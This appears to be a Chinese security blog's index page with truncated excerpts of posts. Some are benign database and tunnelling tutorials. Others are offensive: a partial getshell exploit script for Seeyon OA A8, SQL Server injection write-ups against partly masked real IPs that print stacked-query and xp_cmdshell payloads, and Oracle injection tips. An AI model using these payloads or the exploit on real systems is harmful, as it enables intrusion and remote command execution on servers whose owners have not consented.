PostgreSQL 简单使用

0x00 安装 ➜ brew install postgresql ➜ echo 'export PATH="/usr/local/Cellar/postgresql/11.4/bin:$PATH"' >> ~/.zshrc ➜ source ~/.zshrc -- 初始化数据库 ➜ initdb /usr/local/var/postgres ➜ pg_ctl -D /usr/local/var/postgres -l /usr/local/var/log/postgres/postgres.log start -- 创建用户名数据库 ➜ createdb 0x01 简单操作 reber=# \password #设置当前登录用户的密码 reber=# \password [user_name] #设置其他用户的密码 reber=# \l #列出所有数据库 reber=# \du #列出所有用户 reber=# \c [database_name] #连接数据库 reber=# \d #列出当前数据库的所有表 reber=# \d [table_name] #列出表结构 reber=# \conninfo #列出当前数据库和连接的信息 连接数据库 ➜ psql #psql连接数据库默认选用的是当前的系统用户 psql (11.


记一次网页 js 挂马

0x00 常见网页挂马方式 iframe 框架挂马 简单来说就是加 iframe 标签 script 挂马 通过各种办法加载 js 代码 htm 文件挂马 上传 htm 文件,然后用 script 引入 js 挂马 上传 js 文件,然后用 script 引入 图片伪装挂马 比较新颖的一种挂马隐蔽方法 等等。。。 0x01 发现被插入恶意 js 前几天在做子域名搜集,搜集完后提取 title,结果看到了一个站点的 title 不正常 网站是 tp5 的,应该是前段时候 tp5 出现命令执行时被入侵的 查看网页 html 源码发现 title 和 meta 的 description 都被改了 <title>&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#24179;&#21488;&#44;&#30495;&#38065;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#44;&#25250;&#24196;&#29275;&#29275;&#25163;&#28216;&#19979;&#36733;</title> <meta name="keywords" content="&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#24179;&#21488;&#44;&#30495;&#38065;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#44;&#25250;&#24196;&#29275;&#29275;&#25163;&#28216;&#19979;&#36733;"/> <meta name="description" content="&#25250;&#24196;&#29275;&#29275;&#12304;&#55;&#49;&#49;&#49;&#48;&#46;&#99;&#111;&#109;&#12305;&#29616;&#20844;&#21496;&#25317;&#26377;&#19968;&#25209;&#26377;&#20960;&#21313;&#24180;&#21644;&#22810;&#25250;&#24196;&#29275;&#29275;&#25216;&#24039;&#24180;&#40831;&#36718;&#27979;&#37327;&#20013;&#24515;&#21046;&#36896;&#32463;&#39564;&#30340;&#20154;&#21592;&#44;&#25250;&#24196;&#29275;&#29275;&#28216;&#25103;&#35268;&#21017;&#38598;&#25104;&#20102;&#22269;&#20869;&#39030;&#23574;&#40831;&#36718;&#27979;&#37327;&#25216;&#26415;"/> 解码一下 <title>抢庄牛牛游戏平台,真钱抢庄牛牛游戏,抢庄牛牛手游下载</title> <meta name="keywords" content="抢庄牛牛游戏平台,真钱抢庄牛牛游戏,抢庄牛牛手游下载"/> <meta name="description" content="抢庄牛牛【71110.com】现公司拥有一批有几十年和多抢庄牛牛技巧年齿轮测量中心制造经验的人员,抢庄牛牛游戏规则集成了国内顶尖齿轮测量技术"/> 0x02 简单分析 紧接着有一段 js 代码


FRP 内网穿透

0x00 对外提供简单的文件访问服务 服务端 ➜ frp cat frps.ini [common] ; 监听端口 bind_port = 7000 ; 那些端口允许客户端用来映射 allow_ports = 22-80,3000,33389 ➜ frp ./frps -c frps.ini 2019/07/31 00:22:31 [I] [service.go:139] frps tcp listen on 0.0.0.0:7000 2019/07/31 00:22:31 [I] [root.go:204] Start frps success 客户端 C:\Users\Administrator\Desktop\frp>type frpc.ini [common] server_addr = 66.123.35.123 server_port = 7000 [test_static_file] type = tcp ; 文件服务的端口 remote_port = 3000 ; 启用插件 plugin = static_file ; 要对外暴露的文件目录 plugin_local_path = C:\\Users\Administrator\Desktop\frp_file ; 访问 url 中会被去除的前缀,保留的内容即为要访问的文件路径 plugin_strip_prefix = myfile ; 301 认证 plugin_http_user = admin plugin_http_passwd = 123456 C:\Users\Administrator\Desktop\frp>frpc.


通过 selenium 和 flask 中转后利用 sqlmap 进行注入

0x00 先说前提 昨天某个小伙伴说有个注入没法搞 前端提交登陆表单时数据包加密了, 而且有个 sign 字符串每次都不一样用于校验, 应该是用 js 加密了 0x01 找加密的 js 文件 注入的地方是获取验证码时的手机号, 刚开始想着先找到 js 加密的函数, 然后生成 sign 再组数据包发送。 就像 记一次SQL Server报错注入 中一样, 用 selenium 或者 PhantomJS 执行 js 代码生成sign 一番查找发现了加密的 js 文件函数, 但是用的是 angular 这个前端框架, 没用过这个东西。。。。。 能看懂一般的 js 代码, 但是这个没得搞, 不懂。。。 0x02 数据中转 本来昨天我已经放弃了的, 结果今天上午小伙伴又找我了, 说还没有整好, 又看了一通 js, 仍然无解, 看不懂。。。 想起昨天有个大佬说用 PhantomJS + flask 这样、那样、再这样, 中转数据就可以用 sqlmap 跑了, emmmmm。。。 虽然很早以前用过 asp 的 Cookie 注入中转 , 但是那个是软件, 一直没有搞懂原理, 现在正好趁机学下


利用 Python 的协程进行快速端口扫描

0x00 协程的优势 协程拥有极高的执行效率,因为子程序切换不是线程切换,而是由程序自身控制,因此没有线程切换的开销。和多线程比,线程数量越多,协程的性能优势就越明显。 不需要多线程的锁机制,因为只有一个线程,也不存在同时写变量冲突,在协程中控制共享资源不加锁,只需要判断状态就好了,所以执行效率比多线程高很多 0x01 Python中的协程 协程也就是微线程,python 的 generator(生成器) 中的 yield 可以一定程度上实现协程 在 generator 中,我们不但可以通过 for 循环来迭代,还可以不断调用 next() 函数获取由 yield 语句返回的下一个值。 但是 Python 的 yield 不但可以返回一个值,它还可以接收调用者发出的参数。 0x02 使用 gevent python 中可以通过 generator 实现协程,但是不完全,第三方的 gevent 为 Python 提供了比较完善的协程支持,gevent 可以通过 monkey patch 动态的修改 Python 自带的一些标准库 由于 IO 操作(比如访问网络)非常耗时,经常使程序处于等待状态,而 gevent 可以为我们自动切换协程,再在适当的时候切换回来继续执行,这就保证总有 greenlet 在运行,而不是等待 IO 使用 gevent 可以获得极高的并发性能,但 gevent 只能在 Unix/Linux 下运行,在 Windows 下不保证正常安装和运行 下面 3 个网络操作是并发执行的,且结束顺序不同,但只有一个线程 from gevent import monkey; monkey.patch_all() import requests import gevent def get_resp_size(url): print('GET: %s' % url) html = requests.


致远 OA A8 htmlofficeservlet getshell (POC&EXP)

0x00 影响版本 致远A8-V5协同管理软件 V6.1sp1 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3 致远A8+协同管理软件 V7.1 0x01 查看接口看是否存在漏洞 如果查看 "seeyon/htmlofficeservlet" 接口,出现如下内容则表示存在漏洞 0x02 POC & EXP #!/usr/bin/env python # -*- coding: utf-8 -*- import time import random import string import requests info = { "name": "致远 A8 可 getshell", "author": "reber", "version": "致远A8-V5协同管理软件V6.1sp1、致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3、V7.1", "type": "file_upload", "level": "high", "result": "", "status": False, "references": "<url>", "desc": "<vul describtion>", } def assign(service, arg): if service == 'seeyon': return True, arg def encode(origin_bytes): """ 重构 base64 编码函数 """ # 将每一位bytes转换为二进制字符串 base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6" base64_bytes = ['{:0>8}'.


从 SQL Server 注入到 远程连接桌面

0x00 目标情况 只有一个登录框 0x01 发现注入 简单看了下登陆框,可以爆破用户名 加单引号后报错,试了试 and 1=1 确实存在注入 0x01 进一步测试 尝试得到数据版本: admin' and @@version=1-- 抓包 sqlmap 跑了下发现不行: sqlmap -r 1.txt --risk 3 --level 3 --dbms "Microsoft SQL Server" --second-order "http://123.xxx.xxx.180:2001/error.aspx" 返回: all tested parameters appear to be not injectable,跑不出来,只能手工了 看下能不能多语句执行: admin';select convert(int,(select user));-- 结果发现可以执行成功,能进行多语句执行 0x02 尝试多语句执行添加用户 查看是否有 xp_cmdshell Payload:admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';-- 开启 xp_cmdshell


从 SQL Server 注入到 getshell

0x00 目标情况 一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有弱口令 扫描了全端口,没有发现什么有用的信息 0x01 发现注入 当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用 另一个是密码设置接口,不过这个接口是同网段的另一个ip 111.*.*.59,访问后发现是个重置密码的界面 但是进行密码重置的时候需要发送验证码,系统会先校验用户名是否存在,加单引号出错,and 1=2没反应 burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入 通过sqlmap得到了这几个数据库 [*] HSOA_20170320 [*] HSOA_NEW [*] HSOA_T [*] master [*] model [*] msdb [*] Shuttle [*] SHWT [*] tempdb 0x02 找网站绝对路径 判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>) uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';-- 判断是否是站库分离(延时后返回正确页面,确定站库没有分离) uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';-- 查看是否有xp_cmdshell uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'-- 恢复/删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.


SQL注入tips(Oracle)

0x00 判断数据库类型 Oracle有一些自带的表:dual、user_tables id=45 and (select count(*) from user_tables)>0-- id=45 and (select count(*) from dual)>0-- 利用自带的一些函数:譬如utl_http.request 这些 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49) 0x01 基本信息获取 查看sid select instance_name from v$instance; 查看数据库版本: select banner from v$version where rownum=1; select banner from sys.v_$version where rownum=1; 查看用户: select user from dual; --当前用户 select username from user_users; --当前用户 select username from all_users; --查看所有用户 select username from dba_users; --查看所有用户(需要有权限) 查看当前用户角色:


Oracle数据库简单使用

0x00 关于Oracle 完整的Oracle数据库通常由两部分组成:Oracle数据库和数据库实例。 数据库是一系列物理文件的集合(数据文件,控制文件,联机日志,参数文件等) Oracle数据库实例则是一组Oracle后台进程/线程以及在服务器分配的共享内存区 关于部分视图 DBA/ALL/USER/V_$/GV_$/SESSION/INDEX开头的绝大部分都是视图 DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。 ALL_TABLES意为某一用户拥有的或有权限访问的所有的关系表。 USER_TABLES意为某一用户所拥有的所有的关系表。 当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。 DBA_TABLES >= ALL_TABLES >= USER_TABLES 0x01 关于实例 在启动Oracle数据库服务器时,实际上是在服务器的内存中创建一个Oracle实例(即在服务器内存中分配共享内存并创建相关的后台内存) 我们访问Oracle都是访问一个实例,通过Oracle数据库实例来访问和控制磁盘中的数据文件 Oracle实例如果关联了数据库文件,就是可以访问的,如果没有,就会得到实例不可用的错误 实例名指的是用于响应某个数据库操作的数据库管理系统的名称,它同时也叫SID,连接数据库时就会用到这个SID,如:jdbc:oracle:thin:@localhost:1521:orcl(orcl就为数据库实例名) 0x02 关于表空间(可以理解为mysql中的数据库) Oracle数据库是通过表空间来存储物理表的,一个数据库实例可以有N个表空间,一个表空间下可以有N张表。 用户和表空间是多对多的关系,但是一般创建用户时会指定一个默认表空间。 表空间是数据库中最大的逻辑单位,一个表空间可以包含多个数据文件,而一个数据文件只能隶属一个表空间。 0x03 搭建Oracle环境 使用docker拉取Oracle数据库并且运行 [23:36 reber@wyb in ~] ➜ docker pull alexeiled/docker-oracle-xe-11g [23:36 reber@wyb in ~] ➜ docker run --rm -tid --shm-size=2g -p 1521:1521 -p 8080:8080 alexeiled/docker-oracle-xe-11g 然后在www.oracle.com下载链接Oracle的客户端:instantclient-basic-macos、instantclient-sqlplus-macos [15:41 reber@wyb in ~/Downloads] ➜ unzip instantclient-basic-macos.

可以返回顶部